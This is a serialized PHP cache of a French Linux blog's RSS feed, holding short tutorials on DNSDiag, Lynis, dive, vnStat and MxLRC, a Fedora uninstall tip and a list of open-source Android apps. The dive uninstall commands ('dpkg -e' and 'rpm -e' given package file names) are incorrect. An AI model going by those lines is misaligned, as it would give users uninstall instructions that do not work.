choix.</p>
<p><img src="https://azlinux.fr/uploads/9f72867ee8a8f809f896f606bb9d1005.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Après avoir installé <code>arsenal</code>, exécutez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">arsenal
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Pour installer Arsenal, exécutez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pip3 install arsenal-cli
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:51;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:71:"Comment utiliser DNSDiag pour mesurer le délai d&#039;un serveur DNS ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/dnsdiag/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 18 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/dnsdiag/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3447:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment utiliser DNSDiag pour mesurer le délai d'un serveur DNS ?" /><p>DNSDiag est un ensemble d&rsquo;outils permettant de mesurer et de diagnostiquer les performances et l&rsquo;intégrité d&rsquo;un serveur DNS. Grâce aux outils <code>dnsping</code>, <code>dnstraceroute</code> et <code>dnseval</code>, vous pouvez mesurer la performance d&rsquo;un serveur DNS en prenant en compte son temps de réponse.</p>
<h2 id="utilisation">Utilisation</h2>
<h3 id="dnsping">dnsping</h3>
<p><code>dnsping</code> envoie une requête DNS à un résolveur DNS de manière arbitraire :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dnsping 80.67.169.12
</span></span></code></pre></div><h3 id="dnstraceroute">dnstraceroute</h3>
<p><code>dnstraceroute</code> comme son nom l&rsquo;indique vous permet de connaître le chemin emprunté par une requête DNS avant d&rsquo;atteindre sa destination :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dnstraceroute -t A -s 80.67.169.12 twitter.com
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln"> 1</span><span class="cl">dnstraceroute DNS: 80.67.169.12:53, hostname: twitter.com, rdatatype: A
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">1	_gateway (192.168.1.1) 5.810 ms
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">2	 *
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">3	ae108-0.ncrou101.rbci.orange.net (193.253.83.162) 9.293 ms
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">4	ae48-0.nridf201.rbci.orange.net (193.252.162.210) 11.030 ms
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">5	ae43-0.noidf001.rbci.orange.net (193.252.98.234) 11.157 ms
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">6	193.253.13.206 (193.253.13.206) 9.664 ms
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">7	gitoyen.th2-1.hopus.net (37.77.34.15) 9.604 ms
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">8	80.67.168.212 (80.67.168.212) 10.266 ms
</span></span><span class="line"><span class="ln">10</span><span class="cl">9	ns0.fdn.org (80.67.169.12) 10.645 ms
</span></span></code></pre></div><h3 id="dnseval">dnseval</h3>
<p><code>dnseval</code> vous permet d&rsquo;envoyer une requête DNS à une liste de serveurs DNS afin de déterminer le serveur le plus rapide par rapport à votre emplacement :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dnseval --dnssec -t AAAA -f public-servers.txt -c10 twitter.com
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pip3 install dnsdiag
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:52;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:46:"Auditez votre système gratuitement avec Lynis";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"https://azlinux.fr/auditez-votre-systeme-gratuitement-avec-lynis/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 17 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:65:"https://azlinux.fr/auditez-votre-systeme-gratuitement-avec-lynis/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1254:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Auditez votre système gratuitement avec Lynis" /><p>Lynis est un outil d&rsquo;audit automatisé qui peut être utilisé en complément d&rsquo;autres logiciels, tels que les antivirus. Il scanne le système et établit un aperçu de sa configuration avant de compiler une liste de suggestions avec les éventuels logiciels malveillants, les problèmes de sécurité trouvés, etc.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour afficher les commandes disponibles, exécutez cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">lynis show commands
</span></span></code></pre></div><p>Pour lancer un audit, exécutez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">lynis audit system
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install lynis</code></li>
<li>Fedora : <code>sudo yum install lynis</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:53;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:44:"dive un outil pour explorer une image Docker";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"https://azlinux.fr/dive-un-outil-pour-explorer-une-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 04 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:58:"https://azlinux.fr/dive-un-outil-pour-explorer-une-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2700:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post dive un outil pour explorer une image Docker" /><p>Cet outil vous permet de parcourir une image Docker, de visualiser son contenu et de trouver des moyens pour réduire la taille de votre image Docker.</p>
<p><img src="https://azlinux.fr/uploads/1082843f05fd2b9a7bbc008c5ac49622.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour analyser une image Docker, il suffit d&rsquo;exécuter dive suivi de l&rsquo;ID de l&rsquo;image souhaitée :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dive ghcr.io/ajnart/homarr:latest
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Pour installer dive, exécutez la commande suivante :</p>
<h3 id="debian">Debian</h3>
<ol>
<li>Téléchargez la dernière version depuis GitHub :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/wagoodman/dive/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[2] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><ol start="2">
<li>Installez-le :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dpkg -i dive_0.10.0_linux_amd64.deb
</span></span></code></pre></div><h3 id="fedora">Fedora</h3>
<ol>
<li>Téléchargez la dernière version depuis GitHub :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/wagoodman/dive/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[3] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><ol start="2">
<li>Installez-le :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rpm -i dive_0.10.0_linux_amd64.rpm
</span></span></code></pre></div><h2 id="désinstaller">Désinstaller</h2>
<ul>
<li>Debian : <code>sudo dpkg -e dive_0.10.0_linux_amd64.deb</code></li>
<li>Fedora : <code>sudo rpm -e dive_0.10.0_linux_amd64.rpm</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:54;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:36:"vnStat un moniteur de trafic réseau";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:60:"https://azlinux.fr/vnstat-un-moniteur-de-trafic-r%C3%A9seau/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 30 Jun 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:60:"https://azlinux.fr/vnstat-un-moniteur-de-trafic-r%C3%A9seau/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1884:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post vnStat un moniteur de trafic réseau" /><p>vnStat est un moniteur de trafic réseau qui conserve un journal du trafic réseau toutes les 5 minutes, toutes les heures, tous les jours, tous les mois et tous les ans pour la ou les interfaces sélectionnées.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour afficher le taux de transfert actuel en temps réel :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">vnstat --live
</span></span></code></pre></div><p>Pour consulter les statistiques de trafic sur une base quotidienne :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">vnstat --days
</span></span></code></pre></div><p><img src="https://humdi.net/vnstat/cgidemo/vnstat_d.png"
	
	
	
	loading="lazy"
	
	
></p>
<p>Pour afficher tous les jours où le trafic est le plus élevé :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">vnstat --top
</span></span></code></pre></div><p><img src="https://humdi.net/vnstat/cgidemo/vnstat_t.png"
	
	
	
	loading="lazy"
	
	
></p>
<p>Pour afficher le contenu de la base de données au format JSON :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">vnstat --json
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install vnstat</code></li>
<li>Fedora : <code>sudo yum install vnstat</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:55;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:74:"MxLRC un outil pour récupérer les paroles synchronisées au format *.lrc";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:25:"https://azlinux.fr/mxlrc/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 26 Jun 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:25:"https://azlinux.fr/mxlrc/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2530:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post MxLRC un outil pour récupérer les paroles synchronisées au format *.lrc" /><p>Si vous avez déjà essayé d&rsquo;obtenir les paroles d&rsquo;une chanson, l&rsquo;outil MxLRC devrait certainement vous plaire.</p>
<ol>
<li>Pour utiliser cet outil, commencez par télécharger la dépendance tinytag :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pip3 install <span class="nv">tinytag</span><span class="o">==</span>1.8.1
</span></span></code></pre></div><ol start="2">
<li>Vous pouvez ensuite télécharger le script Python :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget -P /opt/ https://github.com/fashni/MxLRC/raw/main/mxlrc.py
</span></span></code></pre></div><ol start="3">
<li>Pour ajouter un alias au script pour y accéder plus facilement, utilisez cette commande :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">alias</span> <span class="nv">mxlrc</span><span class="o">=</span><span class="s2">&#34;python3 /opt/mxlrc.py&#34;</span>
</span></span></code></pre></div><ol start="4">
<li>Après cela, vous pouvez commencer à utiliser l&rsquo;outil avec le paramètre <code>--song</code> pour rechercher une chanson :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">mxlrc --song <span class="s2">&#34;TPA, Roméo Elvis&#34;</span>
</span></span></code></pre></div><p>Les paroles seront téléchargées au format <code>*.lrc</code>, ce qui vous permet d&rsquo;importer les paroles dans votre lecteur de musique préféré et d&rsquo;y accéder de manière interactive.</p>
<p>MxLRC est un outil pratique pour ceux qui aiment avoir les paroles de leurs chansons préférées disponibles pendant qu&rsquo;ils écoutent de la musique. Avec une installation simple et une utilisation facile, cet outil peut vous aider à profiter pleinement de vos chansons préférées.</p>
<p>[ <a class="link" href="https://github.com/fashni/MxLRC"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:56;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:79:"Comment désinstaller un logiciel sous Fedora, en conservant ses dépendances ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:86:"https://azlinux.fr/desinstaller-un-logiciel-sous-fedora-en-conservant-ses-dependances/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 25 Jun 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:86:"https://azlinux.fr/desinstaller-un-logiciel-sous-fedora-en-conservant-ses-dependances/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:594:"<img src="https://azlinux.fr/uploads/37e8c5dec0ed2e573a0dbe6525aee24e.webp" alt="Featured image of post Comment désinstaller un logiciel sous Fedora, en conservant ses dépendances ?" /><p>J&rsquo;ai installé Discord sur Fedora, mais j&rsquo;avais besoin de le réinstaller sans avoir à réinstaller toutes les dépendances et j&rsquo;ai trouvé cette solution :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rpm -e --nodeps discord
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:57;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:74:"Liste des 15 applis libres et gratuites dont je me sers sur mon smartphone";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"https://azlinux.fr/liste-des-15-applis-libres-et-gratuites-dont-je-me-sers-sur-mon-smartphone/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 23 Jun 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:94:"https://azlinux.fr/liste-des-15-applis-libres-et-gratuites-dont-je-me-sers-sur-mon-smartphone/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:6191:"<img src="https://azlinux.fr/uploads/cb0b19005f878446512f4fb3ee933167.webp" alt="Featured image of post Liste des 15 applis libres et gratuites dont je me sers sur mon smartphone" /><p>Voici les 15 applications open source que je me sers en plus de toutes celles préinstallées au sein de LineageOS. Le code source de ces différentes applications est bien évidemment accessible sur les sites GitHub ou GitLab.</p>
<h3 id="andotphttpsgithubcomandotpandotp"><a class="link" href="https://github.com/andOTP/andOTP"  target="_blank" rel="noopener"
    >andOTP</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/org.shadowice.flocke.andotp"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="antennapodhttpsgithubcomantennapodantennapod"><a class="link" href="https://github.com/AntennaPod/AntennaPod"  target="_blank" rel="noopener"
    >AntennaPod</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/de.danoeh.antennapod"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="aurora-storehttpsgitlabcomauroraossaurorastore"><a class="link" href="https://gitlab.com/AuroraOSS/AuroraStore"  target="_blank" rel="noopener"
    >Aurora Store</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/com.aurora.store"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="fritterhttpsgithubcomjonjomckayfritter"><a class="link" href="https://github.com/jonjomckay/fritter"  target="_blank" rel="noopener"
    >Fritter</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/com.jonjomckay.fritter"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="mastodonhttpsgithubcommastodonmastodon-android"><a class="link" href="https://github.com/mastodon/mastodon-android"  target="_blank" rel="noopener"
    >Mastodon</a></h3>
<p><a class="link" href="https://play.google.com/store/apps/details?id=org.joinmastodon.android"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/2e9c19c09491b961d66485f6f665dc07.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="mullhttpsgitlabcomdivested-mobilemull-fenix"><a class="link" href="https://gitlab.com/divested-mobile/mull-fenix"  target="_blank" rel="noopener"
    >Mull</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/us.spotco.fennec_dos/"  target="_blank" rel="noopener"
    ><img src="https://f-droid.org/badge/get-it-on-fr.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="newpipehttpsgithubcomteamnewpipenewpipe"><a class="link" href="https://github.com/TeamNewPipe/NewPipe"  target="_blank" rel="noopener"
    >NewPipe</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/org.schabi.newpipe"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="organic-mapshttpsgithubcomorganicmapsorganicmaps"><a class="link" href="https://github.com/organicmaps/organicmaps"  target="_blank" rel="noopener"
    >Organic Maps</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/app.organicmaps"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="qksmshttpsgithubcommoezbhattiqksms"><a class="link" href="https://github.com/moezbhatti/qksms"  target="_blank" rel="noopener"
    >QKSMS</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/com.moez.QKSMS"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="retro-musichttpsgithubcomretromusicplayerretromusicplayer"><a class="link" href="https://github.com/RetroMusicPlayer/RetroMusicPlayer"  target="_blank" rel="noopener"
    >Retro Music</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/io.github.muntashirakon.Music"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="termuxhttpsgithubcomtermuxtermux-app"><a class="link" href="https://github.com/termux/termux-app"  target="_blank" rel="noopener"
    >Termux</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/com.termux"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="transmission-remotehttpsgithubcomy-polektransmissionremote"><a class="link" href="https://github.com/y-polek/TransmissionRemote"  target="_blank" rel="noopener"
    >Transmission Remote</a></h3>
<p><a class="link" href="https://play.google.com/store/apps/details?id=net.yupol.transmissionremote.app"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/2e9c19c09491b961d66485f6f665dc07.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="vlchttpsgithubcomvideolanvlc-android"><a class="link" href="https://github.com/videolan/vlc-android"  target="_blank" rel="noopener"
    >VLC</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/org.videolan.vlc"  target="_blank" rel="noopener"
    ><img src="https://f-droid.org/badge/get-it-on-fr.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="wireguardhttpsgithubcomwireguardwireguard-android"><a class="link" href="https://github.com/WireGuard/wireguard-android"  target="_blank" rel="noopener"
    >WireGuard</a></h3>
<p><a class="link" href="https://f-droid.org/fr/packages/com.wireguard.android"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<h3 id="xtra-for-twitchhttpsgithubcomcrackedededxtra"><a class="link" href="https://github.com/crackededed/Xtra"  target="_blank" rel="noopener"
    >Xtra for Twitch</a></h3>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:58;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
